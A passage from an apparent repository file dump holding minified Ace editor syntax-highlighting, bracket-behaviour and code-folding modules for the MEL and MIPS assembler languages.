Quad|Flip(UV|Edge)|WedgeFace|LayoutUV|A(utoProj|ppend(Vertex)?|verageVertex))|eVectorConstraint))|fx(Geometry|Hair|Toon)|l(usMinusAverage|a(n(e|arTrimSurface)|ce(2dTexture|3dTexture)))|a(ssMatrix|irBlend|r(ti(cle(SamplerInfo|C(olorMapper|loud)|TranspMapper|IncandMapper|AgeMapper)?|tion)|ent(Constraint|Tessellate)|amDimension))|r(imitive|o(ject(ion|Curve|Tangent)|xyManager)))|e(n(tity|v(Ball|ironmentFog|S(phere|ky)|C(hrome|ube)|Fog))|x(t(end(Surface|Curve)|rude)|p(lodeNurbsShell|ression)))|v(iewManip|o(lume(Shader|Noise|Fog|Light|AxisField)|rtexField)|e(ctor(RenderGlobals|Product)|rtexBakeSet))|quadShadingSwitch|f(i(tBspline|eld|l(ter(Resample|Simplify|ClosestSample|Euler)?|e|letCurve))|o(urByFourMatrix|llicle)|urPointOn(MeshInfo|Subd)|f(BlendSrf(Obsolete)?|d|FilletSrf)|l(ow|uid(S(hape|liceManip)|Texture(2D|3D)|Emitter)|exorShape)|ra(ctal|meCache))|w(tAddMatrix|ire|ood|eightGeometryFilter|ater|rap)|l(ight(Info|Fog|Li(st|nker))?|o(cator|okAt|d(Group|Thresholds)|ft)|uminance|ea(stSquaresModifier|ther)|a(yered(Shader|Texture)|ttice|mbert))|a(n(notationShape|i(sotropic|m(Blend(InOut)?|C(urve(T(T|U|L|A)|U(T|U|L|A))?|lip)))|gleBetween)|tt(ach(Surface|Curve)|rHierarchyTest)|i(rField|mConstraint)|dd(Matrix|DoubleLinear)|udio|vg(SurfacePoints|NurbsSurfacePoints|Curves)|lign(Manip|Surface|Curve)|r(cLengthDimension|tAttrPaintTest|eaLight|rayMapper)|mbientLight|bstractBase(NurbsConversion|Create))|r(igid(Body|Solver|Constraint)|o(ck|undConstantRadius)|e(s(olution|ultCurve(TimeTo(Time|Unitless|Linear|Angular))?)|nder(Rect|Globals(List)?|Box|Sphere|Cone|Quality|L(ight|ayer(Manager)?))|cord|v(olve(dPrimitive)?|erse(Surface|Curve)?)|f(erence|lect)|map(Hsv|Color|Value)|build(Surface|Curve))|a(dialField|mp(Shader)?)|gbToHsv|bfSrf)|g(uide|eo(Connect(or|able)|metry(Shape|Constraint|VarGroup|Filter))|lobal(Stitch|CacheControl)|ammaCorrect|r(id|oup(Id|Parts)|a(nite|vityField)))|Fur(Globals|Description|Feedback|Attractors)|xformManip|m(o(tionPath|untain|vie)|u(te|lt(Matrix|i(plyDivide|listerLight)|DoubleLinear))|pBirailSrf|e(sh(VarGroup)?|ntalray(Texture|IblShape))|a(terialInfo|ke(Group|Nurb(sSquare|Sphere|C(ylinder|ircle|one|ube)|Torus|Plane)|CircularArc|T(hreePointCircularArc|extCurves|woPointCircularArc))|rble))|b(irailSrf|o(neLattice|olean|undary(Base)?)|u(lge|mp(2d|3d))|evel(Plus)?|l(in(n|dDataTemplate)|end(Shape|Color(s|Sets)|TwoAttr|Device|Weighted)?)|a(se(GeometryVarGroup|ShadingSwitch|Lattice)|keSet)|r(ownian|ush)))\\\\b\"},{caseInsensitive:!0,token:\"keyword.control.mel\",regex:\"\\\\b(if|in|else|for|while|break|continue|case|default|do|switch|return|switch|case|source|catch|alias)\\\\b\"},{token:\"keyword.other.mel\",regex:\"\\\\b(global)\\\\b\"},{caseInsensitive:!0,token:\"constant.language.mel\",regex:\"\\\\b(null|undefined)\\\\b\"},{token:\"constant.numeric.mel\",regex:\"\\\\b((0(x|X)[0-9a-fA-F]*)|(([0-9]+\\\\.?[0-9]*)|(\\\\.[0-9]+))((e|E)(\\\\+|-)?[0-9]+)?)(L|l|UL|ul|u|U|F|f)?\\\\b\"},{token:\"punctuation.definition.string.begin.mel\",regex:'\"',push:[{token:\"constant.character.escape.mel\",regex:\"\\\\\\\\.\"},{token:\"punctuation.definition.string.end.mel\",regex:'\"',next:\"pop\"},{defaultToken:\"string.quoted.double.mel\"}]},{token:[\"variable.other.mel\",\"punctuation.definition.variable.mel\"],regex:\"(\\\\$)([a-zA-Z_\\\\x7f-\\\\xff][a-zA-Z0-9_\\\\x7f-\\\\xff]*?\\\\b)\"},{token:\"punctuation.definition.string.begin.mel\",regex:\"'\",push:[{token:\"constant.character.escape.mel\",regex:\"\\\\\\\\.\"},{token:\"punctuation.definition.string.end.mel\",regex:\"'\",next:\"pop\"},{defaultToken:\"string.quoted.single.mel\"}]},{token:\"constant.language.mel\",regex:\"\\\\b(false|true|yes|no|on|off)\\\\b\"},{token:\"punctuation.definition.comment.mel\",regex:\"/\\\\*\",push:[{token:\"punctuation.definition.comment.mel\",regex:\"\\\\*/\",next:\"pop\"},{defaultToken:\"comment.block.mel\"}]},{token:[\"comment.line.double-slash.mel\",\"punctuation.definition.comment.mel\"],regex:\"(//)(.*$\\\\n?)\"},{caseInsensitive:!0,token:\"keyword.operator.mel\",regex:\"\\\\b(instanceof)\\\\b\"},{token:\"keyword.operator.symbolic.mel\",regex:\"[-\\\\!\\\\%\\\\&\\\\*\\\\+\\\\=\\\\/\\\\?\\\\:]\"},{token:[\"meta.preprocessor.mel\",\"punctuation.definition.preprocessor.mel\"],regex:\"(^[ \\\\t]*)((?:#)[a-zA-Z]+)\"},{token:[\"meta.function.mel\",\"keyword.other.mel\",\"storage.type.mel\",\"entity.name.function.mel\",\"punctuation.section.function.mel\"],regex:\"((?:global\\\\s*)?proc)\\\\s*(\\\\w+\\\\s*\\\\[?\\\\]?\\\\s+|\\\\s+)([A-Za-z_][A-Za-z0-9_\\\\.]*)(\\\\s*(\\\\())\",push:[{include:\"$self\"},{token:\"punctuation.section.function.mel\",regex:\"\\\\)\",next:\"pop\"},{defaultToken:\"meta.function.mel\"}]}]},this.normalizeRules()};r.inherits(s,i),t.MELHighlightRules=s}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/mel\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/mel_highlight_rules\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./mel_highlight_rules\").MELHighlightRules,o=e(\"./behaviour/cstyle\").CstyleBehaviour,u=e(\"./folding/cstyle\").FoldMode,a=function(){this.HighlightRules=s,this.$behaviour=new o,this.foldingRules=new u};r.inherits(a,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.$id=\"ace/mode/mel\"}.call(a.prototype),t.Mode=a})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-mips_assembler.js",
    "content": "define(\"ace/mode/mips_assembler_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"support.function.pseudo.mips\",regex:\"\\\\b(?:mul|abs|div|divu|mulo|mulou|neg|negu|not|rem|remu|rol|ror|li|seq|sge|sgeu|sgt|sgtu|sle|sleu|sne|b|beqz|bge|bgeu|bgt|bgtu|ble|bleu|blt|bltu|bnez|la|ld|ulh|ulhu|ulw|sd|ush|usw|move|mfc1\\\\.d|l\\\\.d|l\\\\.s|s\\\\.d|s\\\\.s)\\\\b\",comment:\"ok actually this are instructions, but one also could call them funtions\\u2026\"},{token:\"support.function.mips\",regex:\"\\\\b(?:abs\\\\.d|abs\\\\.s|add|add\\\\.d|add\\\\.s|addi|addiu|addu|and|andi|bc1f|bc1t|beq|bgez|bgezal|bgtz|blez|bltz|bltzal|bne|break|c\\\\.eq\\\\.d|c\\\\.eq\\\\.s|c\\\\.le\\\\.d|c\\\\.le\\\\.s|c\\\\.lt\\\\.d|c\\\\.lt\\\\.s|ceil\\\\.w\\\\.d|ceil\\\\.w\\\\.s|clo|clz|cvt\\\\.d\\\\.s|cvt\\\\.d\\\\.w|cvt\\\\.s\\\\.d|cvt\\\\.s\\\\.w|cvt\\\\.w\\\\.d|cvt\\\\.w\\\\.s|div|div\\\\.d|div\\\\.s|divu|eret|floor\\\\.w\\\\.d|floor\\\\.w\\\\.s|j|jal|jalr|jr|lb|lbu|lh|lhu|ll|lui|lw|lwc1|lwl|lwr|madd|maddu|mfc0|mfc1|mfhi|mflo|mov\\\\.d|mov\\\\.s|movf|movf\\\\.d|movf\\\\.s|movn|movn\\\\.d|movn\\\\.s|movt|movt\\\\.d|movt\\\\.s|movz|movz\\\\.d|movz\\\\.s|msub|mtc0|mtc1|mthi|mtlo|mul|mul\\\\.d|mul\\\\.s|mult|multu|neg\\\\.d|neg\\\\.s|nop|nor|or|ori|round\\\\.w\\\\.d|round\\\\.w\\\\.s|sb|sc|sdc1|sh|sll|sllv|slt|slti|sltiu|sltu|sqrt\\\\.d|sqrt\\\\.s|sra|srav|srl|srlv|sub|sub\\\\.d|sub\\\\.s|subu|sw|swc1|swl|swr|syscall|teq|teqi|tge|tgei|tgeiu|tgeu|tlt|tlti|tltiu|tltu|trunc\\\\.w\\\\.d|trunc\\\\.w\\\\.s|xor|xori)\\\\b\"},{token:\"storage.type.mips\",regex:\"\\\\.(?:ascii|asciiz|byte|data|double|float|half|kdata|ktext|space|text|word|set\\\\s*(?:noat|at))\\\\b\"},{token:\"storage.modifier.mips\",regex:\"\\\\.(?:align|extern||globl)\\\\b\"},{token:[\"entity.name.function.label.mips\",\"meta.function.label.mips\"],regex:\"\\\\b([A-Za-z0-9_]+)(:)\"},{token:[\"punctuation.definition.variable.mips\",\"variable.other.register.usable.by-number.mips\"],regex:\"(\\\\$)(0|[2-9]|1[0-9]|2[0-5]|2[89]|3[0-1])\\\\b\"},{token:[\"punctuation.definition.variable.mips\",\"variable.other.register.usable.by-name.mips\"],regex:\"(\\\\$)(zero|v[01]|a[0-3]|t[0-9]|s[0-7]|gp|sp|fp|ra)\\\\b\"},{token:[\"punctuation.definition.variable.mips\",\"variable.other.register.reserved.mips\"],regex:\"(\\\\$)(at|k[01]|1|2[67])\\\\b\"},{token:[\"punctuation.definition.variable.mips\",\"variable.other.register.usable.floating-point.mips\",\"variable.other.register.usable.floating-point.mips\"],regex:\"(\\\\$)(f)([0-9]|1[0-9]|2[0-9]|3[0-1])\\\\b\"},{token:\"constant.numeric.float.mips\",regex:\"\\\\b\\\\d+\\\\.\\\\d+\\\\b\"},{token:\"constant.numeric.integer.mips\",regex:\"\\\\b(?:\\\\d+|0(?:x|X)[a-fA-F0-9]+)\\\\b\"},{token:\"punctuation.definition.string.begin.mips\",regex:'\"',push:[{token:\"punctuation.definition.string.end.mips\",regex:'\"',next:\"pop\"},{token:\"constant.character.escape.mips\",regex:'\\\\\\\\[rnt\\\\\\\\\"]'},{defaultToken:\"string.quoted.double.mips\"}]},{token:\"punctuation.definition.comment.mips\",regex:\"#\",push:[{token:\"comment.line.number-sign.mips\",regex:\"$\",next:\"pop\"},{defaultToken:\"comment.line.number-sign.mips\"}]}]},this.normalizeRules()};s.metaData={fileTypes:[\"s\",\"mips\",\"spim\",\"asm\"],keyEquivalent:\"^~M\",name:\"MIPS Assembler\",scopeName:\"source.mips\"},r.inherits(s,i),t.MIPSAssemblerHighlightRules=s}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/)#(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/mips_assembler\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/mips_assembler_highlight_rules\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./mips_assembler_highlight_rules\").MIPSAssemblerHighlightRules,o=e(\"./folding/cstyle\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.$id=\"ace/mode/mips_assembler\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-mipsassembler.js",
    "content": "define(\"ace/mode/mipsassembler_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"string.start\",regex:'\"',next:\"qstring\"}],qstring:[{token:\"escape\",regex:/\\\\./},{token:\"string.end\",regex:'\"',next:\"start\"}]},this.normalizeRules()};s.metaData=r.inherits(s,i),t.mipsassemblerHighlightRules=s}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/)#(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/mipsassembler\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/mipsassembler_highlight_rules\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./mipsassembler_highlight_rules\").HighlightRules,o=e(\"./folding/cstyle\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.$id=\"ace/mode/mipsassembler\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-mushcode.js",
